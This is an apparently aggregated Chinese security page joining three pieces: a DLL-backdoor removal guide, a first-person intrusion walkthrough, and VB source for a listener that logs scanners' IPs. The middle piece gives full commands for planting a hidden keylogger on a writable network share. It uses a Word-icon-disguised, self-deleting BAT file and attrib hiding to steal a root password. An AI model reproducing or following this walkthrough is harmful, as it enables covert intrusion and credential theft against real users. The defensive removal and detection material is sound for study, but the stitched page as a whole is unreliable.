防止黑客入侵:DLL后门完全清除方法

作者:小菜 更新时间:2025-03-16 点击数:
简介:后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的"大力支持",使传统的后门无法在隐藏自己,任何稍微有点计

【菜科解读】

后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的"大力支持",使传统的后门无法在隐藏自己,任何稍微有点计算机知识的人,都知道"查端口""看进程",以便发现一些"蛛丝马迹"。

所以,后门的编写者及时调整了思路,把目光放到了动态链接程序库上,也就是说,把后门做成dll文件,然后由某一个EXE做为载体,或者使用Rundll32.exe来启动,这样就不会有进程,不开端口等特点,也就实现了进程、端口的隐藏。

本文以"DLL的原理""DLL的清除""DLL的防范"为主题,并展开论述,旨在能让大家对DLL后门"快速上手",不在恐惧DLL后门。

好了,进入我们的主题。

一、DLL的原理 动态链接程序库 动态链接程序库,全称:Dynamic Link Library,简称:DLL,作用在于为应用程序提供扩展功能。

应用程序想要调用DLL文件,需要跟其进行"动态链接";从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。

由此可见,DLL文件本身并不可以运行,需要应用程序调用。

正因为DLL文件运行时必须插入到应用程序的内存模块当中,这就说明了:DLL文件无法删除。

这是由于Windows内部机制造成的:正在运行的程序不能关闭。

所以,DLL后门由此而生! 二、DLL的清除 本节以三款比较有名的DLL后门例,分别为"SvchostDLL.dll""BITS.dll""QoServer.dll"。

详细讲解其手工清除方法。

希望大家在看过这三款DLL后门的清除方法之后,能够举一反三,灵活运用,在不惧怕DLL后门。

其实,手工清除DLL后门还是比较简单的,无非就是在注册表中做文章。

具体怎么做,请看下文。

1,PortLess BackDoor 这是一款功能非常强大的DLL后门程序,除了可以获得Local System权限的Shell之外,还支持如"检测克隆帐户""安装终端服务"等一系列功能(具体可以参见程序帮助),适用Windows2000/xp/2003等系统。

程序使用svchost.exe来启动,平常不开端口,可以进行反向连接(最大的特点哦),对于有防火墙的主机来说,这个功能在好不过了。

在介绍清除方法之前,我们先来简单的介绍一下svchost.exe这个系统的关键服务: Svchost只是做为服务的宿主,本身并不实现什么功能,如果需要使用Svchost来启动服务,则某个服务是以DLL形式实现的,该DLL的载体Loader指向svchost,所以,在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。

使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的,在需要启动服务的下边都有一个Parameters子键,其中的ServiceDll表明该服务由哪个DLL文件负责,并且这个DLL文件必须导出一个ServiceMain()函数,为处理服务任务提供支持。

看了上边的理论,是不是有点蒙,别着急,我们来看看具体的内容。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRpcSs下的Parameters子键,其键值为%SystemRoot%system32rpcss.dll。

这就说明:启动RpcSs服务时。

Svchost调用WINNTsystem32目录下的rpcss.dll。

注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost,里边存放着Svchost启动的组和组内的各个服务,其中netsvcs组的服务最多。

要使用Svchost启动某个服务,则该服务名就会出现在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost下。

这里有四种方法来实现: 1, 添加一个新的组,在组里添加服务名 2, 在现有组里添加服务名 3, 直接使用现有组里的一个服务名,但是本机没有安装的服务 4, 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门 本文测试的PortLess BackDoor使用的第三种方法。

好了,看完了上边的原理,一定可以想到我们清除PortLess BackDoor的方法了,对,就是在注册表的Svchost键下做文章。

好,我们现在开始。

注:由于本文只是介绍清除方法,使用方法在此略过。

后门的Loader把SvchostDLL.dll插入Svchost进程当中,所以,我们先通过Windows进程管理工具,查看Svchost进程中的模块信息,SvchostDLL.dll已经插入到Svchost进程中了,在根据"直接使用现有组里的一个服务名,但是本机没有安装的服务"的提示,我们可以断定,在"管理工具" "服务"中会有一项新的服务。

此服务名称为:IPRIP,由Svchost启动,-k netsvcs表示此服务包含在netsvcs服务组中。

我们把该服务停掉,然后打开注册表编辑器(开始 运行--regedit),来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesIPRIP下,查看其Parameters子键。

Program键的键值SvcHostDLL.exe为后门的Loader;ServiceDll的键值C:WINNTsystem32svchostdll.dll为调用的DLL文件,这正是后门的DLL文件。

现在我们删除IPRIP子键(或者用SC来删除),然后在来到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost下,编辑netsvcs服务组,把49 00 70 00 72 00 69 00 70 00 00 00删除,这里对应的就是IPRIP的服务名。

然后退出,重启。

重启之后删除WINNTsystem32目录下的后门文件即可。

2,BITS.dll 这也是DLL后门,和SvchostDLL.dll原理基本一样,不过这里使用的是上边介绍的第四种方法,即"修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门"。

换句话说,该后门修改现有的某一个服务,把其原有服务的DLL指向自己(也就是BITS.dll),这样就达到了自动加载的目的;其次,该后门没有自己的Loader,而是使用系统自带的Rundll32.exe来加载。

我们还是用Windows 进程管理工具来查看,我们可以看到bits.dll已经插入到Svchost进程当中。

好,现在我们来看看具体的清除方法,由于该后门是修改现有服务,而我们并不知道具体是修改了哪个服务,所以,在注册表中搜索bits.dll,最后在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRasAuto下搜索到了bits.dll,查看Parameters子键下的ServiceDll,其键值为C:WINNTsystem32bits.dll。

原来,该后门把RasAuto服务原来的DLL文件替换为bits.dll了,这样来实现自动加载。

知道了原因就好办了,现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件,即%SystemRoot%System32rasauto.dll,退出,重启。

之后删除WINNTsystem32目录下的bits.dll即可。

3,NOIR--QUEEN NOIR--QUEEN(守护者)是一个DLL后门&木马程序,服务端以DLL文件的形式插入到系统的Lsass.exe进程里,由于Lsass.exe是系统的关键进程,所以不能终止。

在来介绍清除方法之前,先介绍一下Lsass.exe进程: 这是一个本地的安全授权服务,并且它会为使用Winlogon服务的授权用户生成一个进程,如果授权是成功的,Lsass就会产生用户的进入令牌,令牌使用启动初始的Shell。

其他的由用户初始化的进程会继承这个令牌。

从上边的介绍我们就可以看出Lsass对系统的重要性,那具体怎么清除呢?请看下文。

后门在安装成功后,会在服务中添加一个名为QoSserver的服务,并把QoSserver.dll后门文件插入到Lsass进程当中,使其可以隐藏进程并自动启动。

现在我们打开注册表,来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesQoSserver,直接删除QoSserver键,然后重启。

重启之后,我们在来到服务列表中,会看到QoSserver服务还在,但没有启动,类别是自动,我们把他修改为"已禁用";然后往上看,会发现一个服务名为AppCPI的服务,其可执行程序指向QoSserver.exe(原因后边我会说到)。

我们再次打开注册表,来到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesAppCPI,删除AppCPI键,重启,再删除QoSserver,最后删除WINNTsystem32目录下的后门文件。

和这个后门"搏斗"了3个多小时,重启N次。

原因在于即使删除了QoSserver服务,后门还是在运行,而且服务列表中的QoSserver服务又"死灰复燃"。

后来才知道原因:我删除了QoSserver服务并重启之后,插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务,并且生成了另外一个服务,即AppCPI,所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。

由此可以看出,现在的后门的保护措施,真是一环扣环。

注意:在删除QoSserver服务并重启之后,恢复的QoSserver的启动类别要修改为"已禁用",否则即便删除了AppCPI服务,QoSserver服务又运行了。

三、DLL的防范 看了上边的例子,大家对清除DLL后门的方法有了一定的了解,但在现实中,DLL后门并不会使用默认的文件名,所以你也就不能肯定是否中了DLL后门。

对于DLL后门,system32目录下是个好地方,大多数后门也是如此,所以这里要非常注意。

下面来具体介绍一下怎么发现DLL后门,希望对大家有所帮助。

1,安装好系统和所有的应用程序之后,备份system32目录下的EXE和DLL文件:打开CMD,来到WINNTsystem32目录下,执行:dir *.exe>exe.txt & dir *.dll>dll.txt,这样,就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中;日后,如发现异常,可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt),并使用:fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt,其意思为使用FC命令比较两次的EXE文件和DLL文件,并将比较结果保存到exedll.txt文件中。

通过这种方法,我们就可以发现多出来的EXE和DLL文件,并通过文件大小,创建时间来判断是否是DLL后门。

2,使用内存/模块工具来查看进程调用的DLL文件。

这样,可以发现进程到底调用了什么DLL文件,在结合上边用FC命令比较出来的结果,又能进一步来确定是否中了DLL后门。

3,普通后门连接需要打开特定的端口,DLL后门也不例外,不管它怎么隐藏,连接的时候都需要打开端口。

我们可以用netstat -an来查看所有TCP/UDP端口的连接,以发现非法连接。

大家平时要对自己打开的端口心中有数,并对netstat -an中的state属性有所了解。

当然,也可以使用Fport来显示端口对应的进程,这样,系统有什么不明的连接和端口,都可以尽收眼底。

4,定期检查系统自动加载的地方,比如:注册表,Winstart.bat,Autoexec.bat,win.ini,system.ini,wininit.ini,Autorun.inf,Config.sys等。

其次是对服务进行管理,对系统默认的服务要有所了解,在发现有问题的服务时,可以使用Windows 2000 Server Resource Kit中的SC来删除。

以上这些地方都可以用来加载DLL后门的Loader,如果我们把DLL后门Loader删除了,试问?DLL后门还怎么运行?! 通过使用上边的方法,大多数DLL后门都可以"现形",如果我们平时多做一些备份,那对查找DLL后门会启到事半功倍的效果。

防止,黑客,入侵,DLL,后门,完全,清除,方法,后门,

详细Linux操作系统入侵实例

Once upon a time,我发现了一个网站,于是常规入侵。

很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那它的口令一般也很简单,反之亦然,故且称之为若氏定理吧),结果一个帐号也不存在,我没有再试它的帐号。

因为我被它开的端口吸引住了,它开着WWW,我就不信它不出错。

一连拿了五种CGI和WWW扫描器总计扫了三四百种常见错误它几乎都不存在。

:( 有几个错误,但我不知道如何利用,算了。

又绕着主机转了几圈,象狐狸遇见刺猬,无从下嘴。

还是看看root的信息吧: finger root@xxx.xxx.xxx Login name: root In real life: system PRIVILEGED account Directory: / Shell: /bin/sh Last login Fri Jul 28 09:21 on ttyp0 from 202.xx.xx.xx No Plan. root经常来,那个202.xx.xx.xx就是他用的工作站了,从那会不会看到点东西呢? net view \\202.xx.xx.xx Shared resources at \\202.xx.xx.xx Sharename Type Comment x x 我的公文包 The command was completed successfully. 在上网的机器上开着WINDOWS的 文件和打印机共享 的服务,是很多人容易掉以轻心的,这个root没有例外。

如果它的C盘共享了而且可写那就好了,但那是做梦,现在开了共享的目录没有一个是根目录,连D驱的都没有。

别着急,慢慢来。

x掉的那些文件夹都没用,不能写,里面尽是些英文原著,这个root还挺行的。

我的公文包 吸引了我的注意,这是一个用于将不同的机器上的资料进行同步的工具,很显然这个root要经常更新主机上的主页,有时候在自己的机器上编,有时候在主机上编 所以很重要的一点: 我的公文包 的共享一般都是可写的! 那我再进去看看。

>net use i: \\202.xx.xx.xx >i: >echo asdf>temp.txt 不错,确实可写。

>del temp.txt 不留痕迹 黑客的习惯。

>dir/od/p 看看都有些什么 倒数第二排那个是什么? X月工作计划.doc !就是它了,既然是计划就不可能写完了就丢一边,它肯定会再次打开它的 至少下个月写计划时要COPY一下:-> 该动手了,我的目标就是让它下次打开时误中我的陷阱而运行我藏的木马。

我这次用的是一个键盘计录软件HOOKDUMP,我觉得它挺好的,价钱实惠,量也足 对不起,说习惯了,应该是它不仅记录下全部击键,还记录下打开或关掉了什么程序、按过什么按纽、用过什么菜单 总之,它的记录让你就和你站在他身后看他操作计算机一样详细了。

您要问那么多木马你为啥装这个?要知道无论是中国的冰河、netspy还是外国的netbus、BO,都被各种杀毒软件列为头号侦查对象,而一个root的机器上可不可能没装杀毒软件?还是HOOKDUMP好,小小的,不起眼,不过如果大家都用只怕我再用它的机会就少了 >copy hookdump.* i: 补充一点:上传前先编好它的hookdump.ini文件,置为隐藏方式运行,不然root一运行屏幕上蹦出一大窗口可就 。

然后再在自己的机器上编一个同名的BAT文件:X月工作计划.BAT >edit c:\X月工作计划.BAT @echo off hookdump attrib -h X月工作计划.doc C:\Program Files\Microsoft\Office\Winword X月工作计划.doc attrib -h temp.bat del temp.pif del temp.bat 看明白了吧?root运行了这个BAT文件实际上就是先运行木马,再调用WINWORD文件打开它想开的这个文件,然后自我删除,也许它机器上WINWORD的位置不同,那调用就会失败,不过不要紧,反正BAT会马上删除,他会以为是自己的误操作。

这时你的C驱根目录就有了这么一个BAT文件,它是一个方形的图标,和那个WORD文件大相径庭,root怎么会运行它呢?没关系,在这个文件上点右键,点属性,在 程序 栏选 更改图标 不就行了吗?WORD的图标在你机器C:\Program Files\Microsoft\Office\中。

还要将 运行 改为 最小化 , 退出时关闭 打上勾,这样才能保证在运行时一点迹象也没有。

事实上这个BAT文件变成了两个,还有一个PIF文件就是它的图标。

把这两个文件传上去: >copy X月工作计划.bat i: >copy X月工作计划.pif i: 然后把它的文件和自己的文件都藏起来: >attrib +h X月工作计划.doc >attrib +h X月工作计划.bat 这样,root的 公文包 里只剩下一个和原来一模一样的WORD图标,他做梦也没想到这已变成了一个BAT文件。

然后可以喘口气了,让我们静静的等 几天后,我进入这个工作站,取下记录下来的击键记录,找出root的口令,进入主机 详细,Linux,操作系统,入侵,实例,Once,upon,

用VB编写入侵监听程序

用VB编写入侵监听程序: 上网的时候很容易遭到探测,一般探测你个人的入侵者技术不会高明到哪里去。

所以根本不能称上黑客,所以本文就用入侵者来代替。

他们对普通网民的扫描可以是多端口单IP的扫描或者多IP单端口扫描。

前者是通过一些IP工具来取得你的IP,然后尝试利用端口扫描获取你的信息,看你的计算机有没有预先中了木马。

然后通过网上的木马端口列表,来获得木马名称。

用相应的客户端软件来连接到你的计算机。

从而获得密码、以及你的秘密信息。

后者则是通过利用如SuperScan等可以大范围扫描IP的软件,扫描打开特定端口的机器。

比如,可以扫描打开7626端口的机器,看对方是否中了冰河。

然后,入侵者就用客户端连接到服务器从而入侵你的计算机。

这些扫描是简单的TCP的Connect扫描。

所以无法避开防火墙的追踪。

网民就可以利用天网等防火墙软件来获取对方的IP。

相信很多DIY迷或者编程爱好者总是想拥有属于自己的类似的工具。

本文就给你讲述如何用VB来获得探测你的入侵者的IP地址,然后 我可没有教你用蓝屏炸弹或者蜗牛炸弹去炸它哦。

毕竟,我们没有入侵者的野心,本程序还可以让你监听80端口,来察看对方对你进行的常规扫描。

要看懂本文,你需要有一定的VB基础。

好了,废话少说,我们来看看本程序的基本原理:入侵者通过Connect本机的端口,然后通过是否成功,来获得信息。

由于TCP的三次握手原理。

他必定会留下自己的IP,我们就利用这一个原理来获得对方的IP。

Winsock控件的属性、方法和事件在我上次写的《.用winsock制作漏洞扫描器》一文中已经叙述过,这里就不再介绍。

大家还一定记得RemoteHostIP和LocalPort属性吧。

这就是对方的IP和自己的端口。

聪明的你应该明白了吧。

通过这两个属性就可以清楚的获得对方的IP地址和他正在扫描的本地端口。

因为不可能一个端口只有一个人会扫描,所以本程序我们需要使用到控件数组。

这个概念的描述大家可以查找MSDN。

本程序的流程是:1、定义需要监听的端口2、装载一定数量的Winsock1控件,从需要监听的端口列表中获得数据。

一一开启监听功能。

(Listen)3、当某一个控件接收到连接的事件发生,就把得到的RemoteIP和LocalPort加入日志4、加载一个Winsock2,继续捕获数据(Getdata)5、Winsock2数据到达记录数据程序的基本概念都介绍完了,相信你对本程序已经有了一定的认识。

现在我们就来开始我们的工作:程序的控件以及说明如下:控件名控件类型属性Label1LabelCaption= 增加端口 Command1commandCaption= 添加 Command2commandCaption= 监听 Command3CommandCaption= 退出 ListportsListbox无TxtLogRichtextbox无程序的代码以及说明如下: 本程序在VB6.0+Windows2000下测试通过!DimtmpstrAsStringDimNOW_OUTAsInteger‘总共出去连接的有几个WinsockPrivateSubCommand1_Click()ListPorts.AddItemtxtADDPORT.TextEndSubPrivateSubCommand2_Click()OnErrorResumeNextIfCommand2.Caption="监听"ThenFori=0ToListPorts.ListCount-1LoadWinsock1(i+1)‘加载监听端口的winsock1数组控件Winsock1(i+1).LocalPort=ListPorts.List(i)‘设定端口Winsock1(i+1).Listen‘监听NextiCommand2.Caption="停止"ElseFori=1ToWinsock1.Count-1UnloadWinsock1(i)NextiFori2=1ToWinsock2.Count-1UnloadWinsock2(i2)Nexti2Command2.Caption="监听"EndIfEndSubPrivateSubCommand3_Click()UnloadMeEndSubPrivateSubForm_Load()txtLOG.Text="日志:"&vbCrLfNOW_OUT=1EndSubPrivateSubWinsock1_ConnectionRequest(IndexAsInteger,ByValrequestIDAsLong)LoadWinsock2(NOW_OUT)‘加载建立连接的Winsock2数组控件Winsock2(NOW_OUT).AcceptrequestID‘建立连接Winsock1(Index).CloseWinsock1(Index).Listen‘Winsock1继续监听NOW_OUT=NOW_OUT+1‘连接的控件累加myAddLog"来自"&Winsock1(Index).RemoteHostIP&"连接到本地端口:"&Winsock1(Index).LocalPort‘显示捕获的连接EndSubPrivateSubWinsock2_DataArrival(IndexAsInteger,ByValbytesTotalAsLong)Winsock2(Index).GetDatatmpstr‘通过Getdata捕获数据myAddLog"来自"&Winsock2(Index).RemoteHostIP&"的数据:"&tmpstr‘显示捕获的数据EndSubSubmyAddLog(tmptextAsString)‘加入日志tmptext=tmptext&vbCrLftxtLOG.SelStart=Len(txtLOG.Text)txtLOG.SelText=tmptextEndSub总结:其实一些程序的原理很简单,我们只要善于实践,并且能够把所学的只是运用到你的程序中去,我想编出类似的程序是很简单的。

如木马、端口扫描器、客户端工具、CGI漏洞扫描器 。

VB的Winsock控件虽说不是底层操作。

及不上C语言的Socket编程的功能。

但实现普通的操作还是很有用的。

简单的例子就是Cookie欺骗,用VB来编写这种程序十分简单。

用,编写,入侵,监听,程序,用,编写,入侵,监听,

加入收藏
               

防止黑客入侵:DLL后门完全清除方法

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录